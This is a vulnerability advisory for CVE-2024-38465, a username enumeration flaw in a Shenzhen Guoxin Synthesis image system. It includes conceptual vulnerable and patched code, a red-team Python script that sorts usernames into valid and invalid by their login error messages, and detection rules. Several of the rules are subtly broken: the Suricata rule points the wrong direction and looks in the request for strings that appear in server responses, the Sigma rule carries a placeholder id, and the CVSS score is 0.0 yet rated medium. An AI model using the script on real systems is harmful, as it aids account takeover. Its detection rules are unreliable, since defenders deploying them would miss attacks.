CVE-2024-38465

Executive Summary

CVE-2024-38465 is a username enumeration vulnerability in the Shenzhen Guoxin Synthesis image system (versions before 8.3.0). The flaw arises from a discrepancy in server responses when an incorrect username is provided versus a valid username with an incorrect password. This allows an unauthenticated remote attacker to systematically enumerate valid usernames, which can then be used as a stepping stone for brute-force or credential-stuffing attacks. The vulnerability is classified under CWE-204 (Observable Response Discrepancy). No public exploit code or proof-of-concept is currently available, and the vendor has released a fix in version 8.3.0.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned by NVD)
• Threat Level: Medium (Estimated)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (Username disclosure)
• Integrity Impact: None
• Availability Impact: None

The lack of an official CVSS score is concerning, but based on the description, the vulnerability enables information gathering. While not directly exploitable for code execution, it significantly lowers the barrier for subsequent attacks.

Deep Dive & Mechanics

The Shenzhen Guoxin Synthesis image system is a platform for managing and processing images. The vulnerability lies in the authentication mechanism. When a user attempts to log in, the system validates the username and password. In vulnerable versions, the system returns a different error message or HTTP status code depending on whether the username exists.

• Scenario A (Invalid Username): The system returns a generic error like "Invalid username or password" or a specific "User not found" message.
• Scenario B (Valid Username, Invalid Password): The system returns a different error like "Incorrect password" or a different HTTP status code (e.g., 401 vs. 403).

This discrepancy allows an attacker to send a list of potential usernames and observe the response. By automating this process, they can build a list of valid accounts without needing any credentials.

Vulnerable vs. Patched Code

Since the source code is not publicly available, we can only infer the fix. The patched version (8.3.0) likely implements a consistent error message for both invalid username and invalid password scenarios.

Vulnerable Code (Conceptual):

# Vulnerable: Different responses
def login(username, password):
    user = find_user(username)
    if user is None:
        return "User not found"  # Discrepancy
    if user.password != hash(password):
        return "Incorrect password"  # Different response
    return "Login successful"

Patched Code (Conceptual):

# Patched: Consistent response
def login(username, password):
    user = find_user(username)
    if user is None or user.password != hash(password):
        return "Invalid username or password"  # Same response for both
    return "Login successful"

Exploitation & Lab Setup

Red Team

Objective: Enumerate valid usernames on a target Shenzhen Guoxin Synthesis system.

Lab Setup:

1. Deploy a vulnerable instance of Shenzhen Guoxin Synthesis (version < 8.3.0) in a controlled environment.
2. Create a list of potential usernames (e.g., usernames.txt).

Exploitation Steps:

1. Intercept a login request using a proxy like Burp Suite.
2. Identify the request parameters (e.g., username, password).
3. Use a script to send login requests with different usernames and a dummy password.
4. Analyze the responses to identify the discrepancy.

Example Script (Python):

import requests

target_url = "http://target/login"
dummy_password = "wrongpassword"
usernames = ["admin", "user1", "test", "root"]

for username in usernames:
    data = {"username": username, "password": dummy_password}
    response = requests.post(target_url, data=data)
    if "User not found" in response.text:
        print(f"[-] {username}: Invalid")
    elif "Incorrect password" in response.text:
        print(f"[+] {username}: Valid")
    else:
        print(f"[?] {username}: Unknown response")

Blue Team

Objective: Detect and prevent username enumeration attempts.

Detection:

1. Monitor for multiple login attempts with different usernames from the same IP address within a short time frame.
2. Look for patterns in login error messages that could indicate enumeration (e.g., a high ratio of "User not found" to "Incorrect password" responses).
3. Implement rate limiting on the login endpoint.

Prevention:

1. Ensure the system is updated to version 8.3.0 or later.
2. Implement a Web Application Firewall (WAF) rule to block requests with suspicious patterns.
3. Use generic error messages for all authentication failures.

Indicators of Compromise (IOCs)

• Network:
  • Multiple HTTP POST requests to the /login endpoint from a single IP address.
  • Responses containing "User not found" or "Incorrect password" in rapid succession.
• Logs:
  • Application logs showing a high number of failed login attempts with different usernames.
  • Web server logs showing repeated 401 or 403 status codes for the login endpoint.

Detection Engineering

YARA Rule

rule CVE_2024_38465_Username_Enumeration {
    meta:
        description = "Detects potential username enumeration attempts against Shenzhen Guoxin Synthesis"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-38465"
    strings:
        $user_not_found = "User not found" nocase
        $incorrect_password = "Incorrect password" nocase
        $login_endpoint = "/login" nocase
    condition:
        #user_not_found > 5 or #incorrect_password > 5
}

Sigma Rule

title: CVE-2024-38465 - Username Enumeration Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple login attempts with different usernames from a single source
author: Valters IT
date: 2024/01/01
tags:
    - attack.t1589
logsource:
    category: application
    product: guoxin_synthesis
detection:
    selection:
        event: login_failure
        username|re: .*
    timeframe: 5m
    condition:
        selection | count() by src_ip > 10
falsepositives:
    - Legitimate user testing multiple accounts
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-38465 - Potential Username Enumeration"; flow:to_server,established; content:"POST"; http_method; content:"/login"; http_uri; content:"username="; http_client_body; pcre:"/User not found|Incorrect password/"; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade the Shenzhen Guoxin Synthesis image system to version 8.3.0 or later.
2. Compensating Controls:
   • Implement rate limiting on the login endpoint (e.g., 5 attempts per minute per IP).
   • Use a Web Application Firewall (WAF) to block automated requests.
   • Enable account lockout after a certain number of failed attempts.
3. Long-Term:
   • Conduct a security audit of the authentication mechanism.
   • Ensure all error messages are generic and do not reveal system information.
   • Implement multi-factor authentication (MFA) to reduce the impact of username enumeration.

Valters IT - DevSecOps & Cyber Threat Intelligence Expert